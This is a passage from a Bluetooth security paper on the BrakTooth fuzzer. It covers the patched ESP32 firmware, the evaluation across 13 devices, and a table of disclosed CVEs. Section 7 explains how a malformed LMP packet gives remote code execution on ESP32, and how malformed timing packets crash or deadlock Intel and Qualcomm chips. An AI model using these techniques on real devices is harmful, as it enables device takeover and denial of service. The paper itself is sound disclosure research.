of its Bluetooth Classic radio registers. Concurrently, option
(2) does not offer much flexibility in host-side fuzzing as
discussed next (Section 5.1). In contrast, we choose option
(3), as it allows us to create a patched firmware only once and
(re)use this out-of-the-box for fuzzing arbitrary Bluetooth
classic devices.

Next, we highlight limitations of option (2) i.e., the state-of-
art BT sniffing and injection (InternalBlue [29]) and discuss
the conceptual differences that enable our fuzzing interface to
overcome such shortcomings, while still keeping our approach
generically applicable to fuzz other wireless protocols.

5.1 Comparison with InternalBlue

Figure 10 showcases how each approach manipulates or in-
jects BT packets based on where the packet hook is located.
Our BT fuzzing interface (Figure 10 (a)) manipulates packets
in the host TX Hook via Hold / Release operations. In contrast,
Internalblue (Figure 10 (b)) uploads and runs specific assem-
bly patches (ASM Hook) in the controller firmware before
any packet injection or manipulation can be done. The latter
approach, while flexible for BT patching experimentation,
introduces the following shortcomings for OTA fuzzing:

(I) Hook Location: InternalBlue packet hook runs in the con-
troller firmware and requires a new patch to be applied before
a BT exchange happens. For an ongoing BT exchange, such an
approach only allows fixed packet manipulation, whereas our
OTA fuzzer demands arbitrary packet manipulations to diver-
sify the fuzzing process. Additionally, integration of fuzzing
components and protocol decoding inside the firmware only
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Figure 10: Packet Hook strategy employed by our BT Fuzzing
Interface and InternalBlue framework. R/I: Release/Inject.

results in a loss of generality of our OTA fuzzer design. This is
due to the requirement of custom patches for the InternalBlue
target firmware. Instead, we leverage Hold/Release operations
for fuzzing, which can be employed beyond BT.

(II) Packet Sniffing/Injection: InternalBlue only exposes LMP
layer sniffing or injection to the user due to its reliance on
Broadcom Diagnostics protocol. Moreover, such protocol
only injects packets after stable BT connection, which un-
dermines fuzzing attempts to inject packets during early BT
procedures (see Figure 3(a)). This limitation is also discussed
earlier [33]. To overcome this, we design a custom, yet simple
protocol that encapsulates all layers, starting from Baseband.

(III) Hardware Limitations: InternalBlue target platforms do
not support high-speed USB, which is critical for a low round
trip time (RTT in Figure 10) between host and BT controller.
Therefore, we shift to a platform such as ESP32-WROVER
that allows manipulation of packets with RT T < 625us.

We note that authors of InternalBlue recently had replicated
a specific BRAKTOOTH flaw (i.e., V14 in Table 2). While
doing so, it was mentioned that InternalBlue was not stable
to reproduce exploits that target the Baseband layer, as the
framework cannot easily modify Baseband headers [42].

We now describe how we design a patched firmware using
ESP32 IoT SoC to manipulate or inject Baseband packets.

5.2 Espressif Bluetooth Internals
We reverse engineer relevant parts of Espressif’s ESP32 pro-
prietary BT library libbtdm_app.a to investigate how BT pack-
ets are transmitted (TX) and received (RX). This is with the
objective to modify TX/RX data/control flow to facilitate
fuzzing from the host. ESP32 BT library is closed source and
it is available in Espressif IoT Development Framework (ESP-
IDF) [15]. Nonetheless, ESP-IDF exposes partial BT symbols
in the compiled BT sample code image (i.e., the user code)
and also provides a partial ELF image of ESP32 ROM for de-
bugging purposes. Thus, importing both images into Ghidra
9.1.2 [1] with a third-party Tensilica Xtensa CPU plug-in [13],
allows us to investigate Baseband packet handling.

Espressif Patches: ESP32 ROM needed to be patched to
solve issues with Wi-Fi coexistence, new BT features and
vulnerabilities. Therefore, Espressif BT controller is split be-
tween ROM and the static library libbtdm_app.a. Such library
is linked to the user application, which runs in flash memory.

As illustrated in Figure 11, the ESP-IDF applies a number
of runtime patches during BT initialization by redirecting
some ROM functions to libbtdm_app.a. This is silently ac-
complished by config_funcs_reset, which overwrites global
pointers that are originally mapped to ROM during boot.
However, certain fixes, which need to be introduced inside
ROM functions, do not have a corresponding pointer. Ad-
dresses of such functions are intercepted at runtime in the
BT frame interrupt function r_ld_fm_frame_isr. This is then
replaced with function wrappers containing tiny fixes (i.e.,
ld_inq_frm_cbk_wrapper). When a simple fix is not pos-
sible, certain functions are completely reimplemented in
libbtdm_app.a, such as ld_acl_frm_isr. Next, we describe our
modifications to the ESP-IDF BT library that enable fuzzing
from the host.

BT
Scheduler

...

ld_acl_frm_isr

r_ld_fm_frame_isr

ESP32 ROM Symbols libbtdm_app.a Symbols

Schedule Task

config_funcs_reset

config_funcs_reset

Intercept Address

ld_inq_frm_cbk_wrapper (fixed)

r_ld_fm_frame_isr (fixed)

ld_acl_frm_isr (fixed)

ld_inq_frm_cbk
Return to Address

Call wrapper to 
intercept callback

Figure 11: ESP-IDF runtime patching to fix ROM functions.

5.3 Patching from Inside and Outside
We design a mixed patching framework (Figure 12) for ESP32.
It introduces custom function hooks in a user code that in-
tercept or inject ACL/LMP packets on either ROM or any
ESP32 proprietary library at runtime.

Since the static library libbtdm.a is independent from the
user code (i.e. firmware.c in Figure 12) before the link-
ing process, it is not reasonable to patch the library from
outside before linking. This is because the call instruction
call8, as used by the BT library, is relative to the program
counter, but the address of our desired hook function in the
user code is not known until linking. Specifically, we intro-
duce our BTPatcher to ESP-IDF build pipeline. We patch the
generated firmware ELF by overwriting specific user-defined
symbol addresses with a call to custom hook in the user code
(i.e. firmware.c in Figure 12). For instance, the interception
hook r_ld_acl_data_tx+609 (see Figure 12) is placed at
offset 609 relative to the function r_ld_acl_data_tx and
the hook is used to redirect the control flow to a custom func-
tion in firmware.c. Such a custom function, in turn, is used
to intercept L2CAP packets, including its Baseband headers.

CompilerLinker

BTPatcher.py

firmware.c

rompatcher.h
rompatcher.S

btlib.h

libbtdm_app.a

firmware.elf

xtensa-objcopy firmware.bin
Patched BT Firmware

Interception Hooks

r_ld_acl_data_tx+609 
r_ld_frame_isr+70 
r_ld_frame_isr+318 ....

Figure 12: Workflow of BRAKTOOTH patching framework.

Our approach in Figure 12 significantly reduces time to test
hooks, as opposed to manually applying patches via Ghidra.
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Using BTPatcher.py, we introduce hooks to relevant libbtdm.a
functions such as r_ld_frame_isr and r_ld_acl_data_tx
to capture the reception of LMP/L2CAP packets and inter-
cept the transmission of L2CAP packets, respectively. How-
ever, to intercept most LMP packets, it is necessary to patch
r_ld_acl_lmp_tx located in ROM. We patch this function
at runtime (i.e., from inside) via the pointer redirection strat-
egy discussed in Section 5.2. The redirected functions then
implement Baseband interception for host-side mutation.

The remaining Baseband packets are handled entirely in
ROM functions that do not have a global pointer, such as
paging and enquiry related functions. For these functions, we
create a rompatcher which installs ROM hooks via Xtensa
breakpoint registers IBREAK0-1. This, in turn, enables our
hooks to be called upon any ROM address, and hence enables
interception of packets that are only generated in ROM.

5.4 Fuzzing Interface Firmware Design
Our BT fuzzing interface provides the following set of fea-
tures (exposed via USB) to the host-side fuzzer:
TX Hold/Release: Allows the host to mutate Baseband TX
packets in real-time before over-the-air transmission. Accord-
ing to Core Specifications [45], the time gap between each
packet exchange is always multiple of 625us. Therefore, in
the worst-case, the interception hook needs to forward a BT
packet to the host and receive it back before a channel hop in
625us. Such low-latency is achieved by enabling the "0ms"
latency mode of FT2232H USB Driver [16], which pools
messages from the host USB port every 125us. This is the
equivalent to forcing the host to busy-wait on the USB port
and achieves an average RTT of 281us (see Figure 13).

150 200 250 300 350 400 450 500

192 us 281 us

Kernel 5.10
Max: 1341 us
Min: 192
Mean: 281

Kernel 5.10 RT
Max: 1315 us
Min: 172
Mean: 276

Figure 13: Histogram of Interception Round Trip Time (us)
for Linux Kernel variants on AMD 3900X 2.6Ghz.

TX Injector: This allows the host to inject Baseband pack-
ets after the BT paging procedure (See Figure 3(a)). This is
essential for the duplication component to work.
RX/TX Bypass: Effectively "blinds" ESP32 BT stack from
receiving or transmitting LMP packets after the paging proce-
dure. Combined with TX Injector, the host can inject packets
on every BT transmission slot (i.e. every 1.25ms), facilitating
flooding attacks such as AU Rand Flooding (see Section 6).
ROM Patcher: Installs ROM hooks at run-time from the
firmware (i.e., user code) as discussed in Section 5.3.

6 Evaluation

Implementation: The fuzzer is split in two codebases: (I)
The fuzzer software running on the host is mostly written in
C++ with few lines of Python (16431 lines of code (LOC))
and (II) the BT fuzzer interface, discussed in Section 5.4, is
written in C for ESP32 (3094 LOC). Moreover, the BTPatcher
discussed in Section 5.3 has 371 LOC. Our state mapper and
fuzzing was built around Wireshark 3.3.0 Epan library and
Graphviz++ [27]. The Wireshark plug-in that enables de-
coding of Baseband packets is based on the InternalBlue
Broadcom decoder [10]. Specifically, we extended such de-
coder to support custom ESP32 BT metadata and additional
packet headers that were missing from the original project.
The optimizer uses the generational PSO implementation [12]
from PyGMO library with the default pygmo.pso_gen opti-
mization parameters. Finally, we slightly modify Bluekitchen
sample program sdp_rfcomm_query to start layer four (4)
communication whenever the fuzzer starts a new iteration.
Evaluation Setup: Table 1 outlines all devices that we have
tested. Each device can either be a BT development kit or an
end product such as a laptop, smartphone, wireless speaker,
etc. While products have a BT SoC pre-programmed for the
product’s application, development boards require an initial
firmware to start. The latter is accomplished by programming
a sample code provided by the SoC Software Development Kit
(SDK). Since our fuzzer targets the BT stack, a vulnerability
in such indicates that other devices relying on the same BT
stack are also potentially vulnerable due to the shared code
base of the SDK.

Since we need to have a reference model for the fuzzing,
we let the state mapper (Section 4.1) learn the reference
model by running Bluekitchen BT stack sample program
sdp_rfcomm_query with each target device for about 1h. The
final protocol model Mre f is the combined reference model of
each individual device. This ensures that we can use a single
model for different devices during the fuzzing campaign.

We now answer the following research questions (RQs):
RQ1: How effective is our fuzzer in terms of generating
error-prone inputs? A summary of our evaluation appears in
Table 2. In each row, we use the prefix V to identify a vulner-
ability and A to indicate a non-compliance (i.e., faulty target
responses) that deviates from the Core Specifications [45].
Moreover, Table 2 outlines the respective CVEs, affected de-
vices, protocol layers and the violated compliance. Overall,
we discovered 18 unknown implementation bugs and coordi-
nated a 90-day disclosure period with all vendors.

BRAKTOOTH flaws trigger (I) crashes and (II) deadlocks.
Crashes generally trigger fatal assertion, segmentation faults
due to buffer or heap overflow within the SoC firmware. Dead-
locks, in contrast, lead the target to a condition in which no
further BT communication is possible. This may happen due
to the paging scan being forcibly disabled (V17), state ma-
chine corruption on V7 or entirely disabling BT functionality

USENIX Association 31st USENIX Security Symposium    1033



Table 1: Devices used for evaluation. The sample code is
provided by vendor to test the development board. This is not
applicable (N.A) on products running a fixed application.

BT SoC Vendor BT SoC Dev. Kit / Product Sample Code Monitor
Bluetooth 5.2
Intel AX200 Laptop Forge15-R N.A SSH
Qualcomm WCN399X Xioami Pocophone F1 N.A ADB
Bluetooth 5.1
Texas Instruments CC2564C CC256XCQFN-EM SPPDMMultiDemo Serial
Bluetooth 5.0
Cypress CYW20735B1 CYW920735Q60EVB-01 rfcomm_serial_port Serial
Bluetrum Technology AB5301A AB32VG1 Default Serial
Zhuhai Jieli Technology AC6925C XY-WRBT Module N.A Mic.
Actions Technology ATS281X Xiaomi MDZ-36-DB N.A Mic.
Bluetooth 4.2
Zhuhai Jieli Technology AC6905X BT Audio Receiver N.A Mic.
Espressif Systems ESP32 ESP-WROVER-KIT bt_spp_acceptor Serial
Bluetooth 4.1
Harman International JX25X JBL TUNE500BT N.A Mic.
Bluetooth 4.0
Qualcomm CSR 8811 Laird DVK-BT900-SA vspspp.server.at Serial
Beken BK3260N HC-05 V1.0.2 Serial
Bluetooth 3.0 + HS
Silabs WT32i DKWT32I-A ai-6.3.0-1149 Serial

via remote code execution (RCE) on V1. Our results affect
popular BT vendors (i.e., Intel, Qualcomm, Cypress, Texas
Instruments) and relatively less known (i.e., Bluetrum, Jieli,
Harman), which are still employed in many consumers prod-
ucts such as BT speakers, keyboards, toys, etc.

V1 affects ESP32, which is used in many products ranging
from consumer electronics to industrial equipments such as
programmable logic controllers (PLCs). Hence, the impact
is significant, as the attacker only requires knowledge of the
target BDAddress to launch the attack. Indeed, all the vul-
nerabilities V1-V18 can be triggered without any previous
pairing or authentication. Moreover, the impact of V1-V18
reaches beyond the devices listed in Table 2, since any other
BT product employing an affected SoC is also vulnerable.

Multiple LMP flooding attacks (e.g., V5, V13) and V16
were found in SoCs from different vendors including majors
e.g., Intel and Qualcomm. This indicates the lack of flexible
tools for over-the-air testing even in 2022. Besides, the Core
Specifications only allows a limited "LMP test mode" [45] that
prevents the SoC from operating in many LMP procedures.

RQ2: How efficient is our fuzzer? Each fuzzing iteration
results in a reconnection between the host and target, thus effi-
ciency depends on how often the target starts the paging pro-
cedure (c.f., Figure 3) with the master. The time to reconnect
can be decreased in Linux and in some development boards,
but BT products do not offer such options. Table 4 showcases
the total time to evaluate 1000 iterations for each target. In
general, all development boards except for DVK-BT900-SA
and DKWT32I-A depicted lower time to complete 1000 itera-
tions than BT Products or Modules such as JBLTUNE500BT
and XY-WRBT, respectively. Nevertheless, the time to find
the first vulnerability (i.e., crash or deadlock) was generally
within 10-30 minutes with few exceptions such as Pocophone
F1 and JBLTUNE500BT, which did not encounter crash or
deadlock within 1000 iterations. Despite this, most devices
had A2 (c.f., Table 2) triggered within few minutes.

The column "Model Coverage" in Table 4 captures the num-

ber of unique valid transitions in Mre f (i.e., the protocol state
machine) that are traversed by the respective target device
during the fuzzing process. We note that each BT vendor im-
plements BT devices differently and the vendor may choose
scenarios that do not trigger all 1106 possible transitions in
Mre f . In particular, target devices that perform role switch
with the master yield more transitions in Mre f . For example,
XY-WRBT and BT Audio Receiver explored fewer transitions
due to the lack of role switch and overall LMP exchanges as
compared to the other devices e.g., Pocophone F1.
RQ3: How do the different design choices contribute to
the effectiveness of our fuzzer? To evaluate this, we first
create three variants of the fuzzer that disables part of its com-
ponents: (I) Only Duplication is enabled (c.f., Figure 4). This
means that only out-of-order packets are sent to the target. (II)
Packet Mutation without optimization or duplication. Thus,
packets do not reach the target out-of-order and mutation
probabilities are not refined. (III) We enable both Mutation
and Optimization, but Duplication is disabled.

Figure 14 depicts the total number of unique crashes
or deadlocks obtained during 1000 fuzzing iterations with
ESP32 as the target. We choose ESP32 for this experiment as
it yields higher number of crashes and deadlocks. The labels
"Duplication", "Mutation" and "Evolution" refer to variants
(I), (II) and (III) respectively. The last label "All" is the fuzzer
with all components enabled. The results yield the following
observations: The Duplication returned crashes due to V5,
V4 being triggered after paging procedure (c.f., Figure 3).
However, such a variant could not find V1, V2 which require
packet mutation. Likewise, Mutation and Evolution could only
find V1, V2 due to V5 and V4 requiring packet duplication to
be triggered. Moreover, it was notable that Evolution was able
to trigger V1, V2 before variant Mutation due to its better ex-
ploration of the target. Nevertheless, in 1000 iterations, only
the variant All triggered each of ESP32 vulnerabilities V1-V5.
However, the variant All usually takes more time to trigger
issues in deeper states (i.e., bounding) since duplication and
mutation are competing during the fuzzing session.

Table 5 evaluates the Duplication variant of the fuzzer with
respect to the tunable parameters rsel (selection probability)
and DT (time to schedule). We note that for a higher proba-
bility rsel = 0.3 and low DT = 100ms, the highest number of
crashes were detected due to LMP flooding (V5). However,
when decreasing rsel to 0.1 and increasing DT to 6000ms,
crashes are triggered less frequently, as out-of-order packets
are delivered into deeper states. This contributes to the highest
number of average transitions and reduces flooding behaviour.
We chose rsel = 0.1,DT = 6000ms to evaluate other devices,
as such configuration is less aggressive in terms of flooding
and hence it does not overshadow the mutation component.
RQ4: How effective is our fuzzer compared to existing
BT fuzzers? We compare our fuzzer against state-of-the-art
tools that most closely match the objective of our fuzzer i.e.,
bfuzz [24], BT Stack Smasher [5], Bluefuzz [7], and Tooth-
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Table 2: Summary of unknown implementation bugs and other anomalies found (Vx: Vulnerability, Ax: Non-compliance).

Anomalies CVE ID(s) Device(s) State(s) Target Layer(s) Impact Type Compliance Violated
V1 Feature Pages Execution CVE-2021-28139 ESP-WROVER-KIT Feature Exchange LMP RCE [V.1] Part E, Sec. 2.7
V2 Invalid Public Key CVE-2021-28138 ESP-WROVER-KIT Bounding LMP Crash [V.2] Part C, Sec. 5.1
V3 Feature Req. Ping-Pong CVE-2021-28137 ESP-WROVER-KIT Feature Exchange LMP Crash [V.1] Part E, Sec. 2.7
V4 Duplicated IOCAP CVE-2021-28136 ESP-WROVER-KIT Bounding LMP Crash [V.2] Part C, Sec. 4.2.7.1

V5 Feature Resp. Flooding
CVE-2021-28135
CVE-2021-28155
CVE-2021-31717

ESP-WROVER-KIT
JBL TUNE500BT
Xiaomi MDZ-36-DB

After Paging LMP Crash [V.1] Part E, Sec. 2.7

V6 LMP Auto Rate Overflow
CVE-2021-31609
CVE-2021-31612

DKWT32I-A
BT Audio Receiver Data Rate Change Baseband Crash [V.2] Part B, Sec. 6.6.2

V7 LMP 2-DH1 Overflow CVE-2021-35093 DVK-BT900-SA After EDR Change Baseband Deadlock [V.2] Part C, Sec. 2.3
V8 LMP DM1 Overflow CVE-2021-34150 AB32VG1 Many Baseband Deadlock [V.2] Part B, Sec. 6.5.4.1

V9 Truncated LMP Accepted CVE-2021-31613
BT Audio Receiver
XY-WRBT Module Many LMP Crash [V.2] Part C, Sec. 5.1

V10 Invalid Setup Complete CVE-2021-31611
BT Audio Receiver
XY-WRBT Module Feature Exchange LMP Deadlock [V.1] Part E, Sec. 2.7

V11 Host Conn. Flooding CVE-2021-31785 Xiaomi MDZ-36-DB Host Connection LMP Deadlock [V.1] Part E, Sec. 2.7
V12 Same Host Connection CVE-2021-31786 Xiaomi MDZ-36-DB Host Connection LMP Deadlock [V.1] Part E, Sec. 2.7

V13 AU Rand Flooding
CVE-2021-31610
CVE-2021-34149
CVE-2021-34146

AB32VG1
CC256XCQFN-EM
CYW920735Q60EVB

After Paging LMP
Crash

Deadlock [V.1] Part E, Sec. 2.7

V14 Invalid Max Slot Type CVE-2021-34145 CYW920735Q60EVB After Setup Complete Baseband Crash [V.1] Part E, Sec. 2.7
V15 Max Slot Length Overflow CVE-2021-34148 CYW920735Q60EVB After Setup Complete Baseband Crash [V.1] Part E, Sec. 2.7

V16 Invalid Timing Accuracy
CVE-2021-34147
CVE-2021-30348
CVE-2021-33139

CYW920735Q60EVB
Pocophone F1
Intel AX200

Timing Accuracy LMP, Baseband Crash [V.1] Part E, Sec. 2.7

V17 Paging Scan Deadlock CVE-2021-33155 Intel AX200 After Host Connection LMP, Baseband Deadlock [V.1] Part E, Sec. 2.7
V18 SDP Element Size Overflow Pending Beken BK3260N SDP Exchanges SDP Deadlock [V.2] Part C, Sec. 4.2.5.2
A1 Accepts Lower LMP Length N.A All, except ESP32 Many Baseband Non-Compliance [V.2] Part C, Sec. 5.1
A2 Accepts Higher LMP Length N.A All tested devices Many Baseband Non-Compliance [V.2] Part C, Sec. 5.1
A3 Multiple Encryption Start N.A Xiaomi MDZ-36-DB After Encryption Start LMP Non-Compliance [V.2] Part C, Sec. 4.2.5.3
A4 Ignore Role Switch Reject N.A Pocophone F1 Role Switch LMP Non-Compliance [V.2] Part C, Sec. 4.4.2

A5 Invalid Response N.A
Intel AX200
DVK-BT900-SA Feature Exchange LMP Non-Compliance [V.2] Part C, Sec. 4.3.4

A6 Ignore Encryption Stop N.A CYW920735Q60EVB After Encryption Start LMP Non-Compliance [V.2] Part C, Sec. 4.2.5.4

Table 3: Vulnerabilities: SDK/Firmware versions of vendors

SoC or Module Vendor BT SoC Firmware or SDK Ver. Vuln. / Non-compl.

Intel AX200
Linux - iwlwifi-cc-46.3
Windows - 22.40.0 V16-17 / A1-2

Texas Instruments CC2541C cc256xc_bt_sp_v1.4 V13 / A1-2
Cypress CYW20735B1 WICED SDK 2.9.0 V13-16 / A2,A6
Bluetrum Technology AB32VG1 1.0.5 V8,V13 / A1-2
Zhuhai Jieli Technology AC6925C N.A V9-10 / A1-2
Zhuhai Jieli Technology AC6905X N.A V6,V9-10 / A1-2
Actions Technology ATS281X N.A V5,V11-12 / A1-2
Qualcomm WCN399X crbtfw21.tlv, patch 0x0002 V16 / A1-2,A4
Espressif Systems ESP32 esp-idf-4.4 V1-V5 / A1
Harman International JX25X N.A V5 / A1-2
Laird Connectivity BT900 (CSR8811) v9.1.12.14 V7 / A1-2
Silabs WT32i iWRAP 6.3.0 build 1149 V6 / A1-2
Beken HC-05 (BK3260N) V1.0.2 V18 / A1-3

picker [20]. These tools target BT higher layers e.g., L2CAP,
SDP, while only bfuzz supports multiple BT protocols.

For a fair comparison, we run all fuzzing tools for three
hours (unless the fuzzer terminates before). Table 6 shows the
number of non-compliances (Ax) and crashes (Vx) triggered
by each fuzzing tool. It also lists the products or SoCs that
exhibit at least one crash on the rightmost columns. The com-
petitor tools discovered new crashes on a few devices such
as ESP32, MDZ-36-DB, JBL TUNE500BT and AB32VG1.
These crashes were found either in L2CAP or RFCOMM layer.
In contrast to these tools, our fuzzer enables full control to
fuzz the LMP and Baseband layers, and hence we discovered
critical vulnerabilities in such layers (see Table 2). Although
bfuzz performed the fastest L2CAP fuzzing (130 packets/sec-

Table 4: Timing of 1000 fuzzing iterations for each device.

Dev. Kit / Product Total Time 1st Vulnerability 1st Non-compl. Model Coverage
Laptop Forge15-R ~3 h. 27 min. 5 min. 243 (21.9%)
Pocophone F1 2 h. 48 min. >~2 h. 48 min. 6 min. 258 (23.3%)
CC256XCQFN-EM 3 h. 46 min. 2h. 34 min. 9 min. 105 (9.5%)
CYW920735Q60 3 h. 19 min. 12 min. 20 min. 197 (17.8%)
AB32VG1 3 h. 08 min. 11 min. 7 min. 140 (12.7%)
XY-WRBT Module 4 h. 12 min. 35 min. 29 min. 94 (8.5%)
BT Audio Receiver 3 h. 48 min. 26 min. 11 min. 99 (8.9%)
MDZ-36-DB 4 h. 27 min. 6 min. 1 min. 150 (13.5%)
ESP-WROVER-KIT ~3 h. 10 min. 42 min. 244 (22.1%)
JBL TUNE500BT ~5 h. >~5h. 26 min. 153 (13.8%)
DVK-BT900-SA 3 h. 50 min. ~1 h. 26 min. 119 (10.7%)
DKWT32I-A ~4 h. 13 min. 8 min. 143 (12.9%)
HC-05 (BK3260N) ~5 h. 1 h. 12 min. 1 min. 95 (8.6%)

ond), it must keep a database with up to date test cases and
does not reach LMP or Baseband layers. In contrast, our fuzz
tests are generated automatically via the approach illustrated
in Section 4 and we do not need to maintain any database.

Overall the competitor tools can only detect a few crashes
as compared to our fuzzer and they are incapable of finding
layer two and layer three vulnerabilities such as V1-V17 or
non-compliances A1-A6 (cf. Table 2). Our fuzzer has supe-
rior performance for two reasons: first, our fuzzer intercepts
ESP32 BT stack for fuzzing during early LMP procedures.
Secondly, the competitor tools neither send duplicated packets
nor do they optimize the mutation probabilities.

Finally, we compare how the time of training the reference
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Figure 14: Unique crashes/deadlocks w.r.t ESP32 fuzzing
iterations. Parameters: rsel = 0.1 DT = 6000

Table 5: Evaluation summary w.r.t. different rsel and DT .
# Crash (# Average Transitions) during 200 Iterations

rsel DT = 100ms DT = 1000ms DT = 6000ms
0.1 12 (116±74) 6 (113±82) 7(107±81)
0.2 14 (118±57) 10 (108±75) 7(110±84)
0.3 15(107±57) 18(115±64) 13(145±74)

model Mre f affects the fuzzing process. We generated five
reference models {Mi

re f | i ∈ {1,15,30,45,60}} by running
the state mapper against ESP32 for one, 15, 30, 45 and 60 min-
utes, respectively. We then employ Mi

re f in a fuzzing session
(i.e., 1000 iterations). Figure 15(a) showcases the number
of ESP32 vulnerabilities per model over a fuzzing and Fig-
ure 15(b) depicts the number of states, anomalies (A) and
coverage (C:%) of each model during their fuzzing session.

In general, the more the time a model is trained, the more
the states and transitions it includes, which contributes to
finding vulnerabilities in less frequent states. However, Fig-
ure 15(a) highlights that even a model trained for 1 min discov-
ers higher vulnerabilities (#Crash + #Deadlock) in a fuzzing
session than a more complete model (e.g., M60

re f ). This means
that a model employing more states than necessary to find cer-
tain vulnerable states, can lead the fuzzer to take more time to
reach a higher number of vulnerabilities (e.g., M45

re f ). Nonethe-
less, such a model can explore more states for fuzzing.

The number of vulnerable states ("Crash" States) are shown
in Figure 15(b). Notably, most of the mapped states are as-
signed to LMP, which grows from 62 in M1

re f to 87 in M60
re f .

While M1
re f finds ten "Crash" States, it yields higher coverage

(C : 86%) and number of anomalies (A : 62) at the end of the
fuzzing session due to its smaller number of states. On the
contrary, M60

re f results in less coverage (C : 64.6%), but it can
guide the fuzzer to explore more states and transitions.

For reference, our full BT model resulted in a coverage of
22.1% for ESP32 and it has the following number of states:
LMP (125), L2CAP (16), SDP (5), RFCOMM (9). For sim-
plicity, such reference model is illustrated in Figure 16 with a
few transitions between certain LMP and L2CAP states.

7 Attacks Exploiting BRAKTOOTH

BRAKTOOTH presents a set of implementation bugs previ-
ously unknown to BT vendors. While BRAKTOOTH does not
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Figure 15: Evaluation of different state machine models.
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Other 
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{
    "Filter": "btl2cap",
    "LayerName": "L2CAP",
    "StateNameField": "btl2cap.cmd_code"
},
{
    "Filter": "btlmp",
    "LayerName": "LMP",
    "StateNameField": [
        "btbrlmp.eop",
        "btbrlmp.op"
    ]
}, ...

State Mapping Rules

Figure 16: An illustration of a simplified BT state machine
and corresponding state mapping rules for LMP and L2CAP.

present a novel class of security vulnerabilities, patching the
affected devices is crucial to avoid BT exploitation in the wild.
Broadly, BRAKTOOTH captures two classes of vulnerabilities:
1) crashes, and 2) deadlocks. While crashes may trigger fatal
assertion, heap overflows or segmentation faults, deadlocks
typically involve a power cycle to continue normal BT op-
eration. In the following, we discuss a representative set of
vulnerabilities captured by BRAKTOOTH and outline how
such vulnerabilities were exploited to launch remote code
execution or denial-of-service (DoS) attacks.

(1) Remote Code Execution in IoTs: The most critical vul-
nerability (V1 Feature Pages Execution) found by our fuzzer
affects ESP32 SoC, which is used in many Wi-Fi and Blue-
tooth IoT appliances such as Industry Automation, Smart
Home and Fitness. The attack is illustrated in Figure 17. A
lack of out-of-bounds check in ESP32 BT Library allows the
reception of a mutated LMP_feature_response_ext. This re-
sults in injection of eight bytes of arbitrary data outside the
bounds of Extended Feature Page Table ("E. Features Table"
in Figure 17). An attacker, which knows the firmware layout
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Table 6: A Comparison among different fuzzing tools.

Comparison Vulnerabilities / Non-compliances
# Tools (# Fuzzing Strategy) Fuzzable Layer(s) ESP32 MDZ. JBL. AB32VG1 Others
bfuzz (IotCube)
(Random + Test Database)

L2CAP/SDP/RFCOMM 3/0 1/0 1/0 1/0 0/0

Stack Smasher (Random) L2CAP 0/0 0/0 0/0 0/0 0/0
Bluefuzz (Random) RFCOMM 0/0 0/0 0/0 0/0 1/0
ToothPicker (Random) L2CAP 0/0 0/0 1/0 0/0 0/0

Our Fuzzer (Evolutionary)
BB/LMP/L2CAP/SDP/
RFCOMM

4/2 3/3 1/2 2/2 8/4

of target device, can write a known function address (JMP
Addr.) to the offset pointed by Features Page ("Feat. Page" in
the LMP_feature_response_ext packet) field. It turns out that
the BT Library stores some callback pointers within the out-
of-bounds Features Page offset and such a callback is even-
tually invoked during the BT connection. While exploiting
this vulnerability, we forced ESP32 into erasing its NVRAM
data (normally written during product manufacturing) by set-
ting JMP Addr. to the address of nvs_flash_erase, which is
always included in ESP32 firmware. Similarly, disabling BT
or BLE can be done via esp_bt_controller_disable and Wi-Fi
via disable_wifi_agc. Additionally, general-purpose input/out-
put (GPIO) can be controlled if the attacker knows addresses
to functions controlling actuators attached to ESP32.

BB ACL  
Hdr.

Feat. Page Max Page E. Features

IoT (ESP32) Firmware

62 (bad) 02 JMP Addr.

User Data (NVRAM)
BLE / Wi-Fi

Actuator (GPIO)

LMP Packet - LMP_feature_response_ext

BD/EDR BT Library

E. Features Table
0x01 
0x02

0x62

Page 1. 
Page 2.

BT Callbacks

Out-of-bounds Features Write

JMP Addr.

Erase

Disable

ON/OFF

Air Interface

ESP32

Figure 17: An Illustration of CVE-2021-28138.

(2) DoS in Laptops & Smartphones:
We discuss two sample DoS attacks discovered by our

fuzzer on laptops and smartphones. These attacks were
launched on laptops employing Intel AX200 SoCs and smart-
phones employing Qualcomm WCN399X SoC family, among
many others [34]. Due to the amount of smartphones and
laptops vulnerable to such attacks, and the common use of
BT connectivity during video conference calls and music
streaming, updating the affected devices is essential.

The first DoS (V16 Invalid Timing Accuracy) is due to
a failure in the SoC to validate timer resources upon re-
ceiving an invalid LMP_timing_accuracy_response from
a BT slave. As shown in Figure 18 (a), the attacker per-
forms a loop of connection and injection of the malformed
LMP_timing_acc_response (i.e., wrong type and opcode
fields) until the target SoC gets unstable. These steps are
repeated with a different BT address (i.e., BDAddress) until
the SoC is exhausted from accepting new connections. This
triggers a firmware crash in Qualcomm WCN3990 and Infi-

Crash or DoS

Paging (Random BDAddr)

Silent Disconnection

Retry Attack

Lo
op

Slave (Attacker) Master

LMP_timing_acc_request

LMP_timing_acc_response Mutated
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(a) Invalid Timing Accuracy (b) Paging Scan Deadlock

Figure 18: An Illustration of Invalid Timing Accuracy and
Paging Scan Dealock attacks.

neon CYW20735B1 SoCs, or it leads the Intel AX200 SoC
to disconnect other BT devices currently connected to AX200.
In reality, users with the affected Qualcomm Android phones
or Intel Laptops connected to BT Headsets experience audio
to be continuously "cut" during the attack. This also results in
firmware crashes and restart of the BT Service in WCN3990
and CYW20735B1.

The second DoS (V17 Paging Scan Deadlock) affects only
devices using Intel AX200 and it is triggered when an over-
sized LMP_timing_accuracy_request (>17 bytes) is sent to
AX200 slave over multiple reconnections, as illustrated in Fig-
ure 18 (b). Interestingly, during a reconnection, AX200 sends
invalid response (LMP_version_res) upon receiving a feature
request from the attacker. This depicts anomaly A5 as listed in
Table 2. Eventually, after a number of attacks, AX200 disables
its paging procedure (cf., Figure 3) and the target is unable to
initiate multiple BT connections. Thus, scanning from AX200
works, but other devices cannot initiate connection to AX200.
This behavior can be used to trick a user to connect to the
attacker’s BT hardware with a spoofed BDAddress instead of
the legitimate device since paging scan is disabled. During
the attacks, firmware crashes may be sporadically triggered
on AX200, but no specific scenario was found to reliably trig-
ger such crashes all the time. Ultimately, the user needs to
manually re-enable BT to restore functionality.

(3) Freezing Audio Products: Many vulnerabilities were dis-
covered while testing our fuzzer with a BT Speaker (Xiaomi
MDZ-36-DB), BT Headphone (JBL TUNE 500BT) and BT
Audio Modules (XY-WRBT and BT Audio Receiver). The
discovered vulnerabilities arise from target’s firmware fail-
ure when the attacker (i) sends certain truncated packets with
LMP length field set to one (V9: Truncated LMP Accepted) as
shown in Figure 19(a) or oversized packets with LMP length
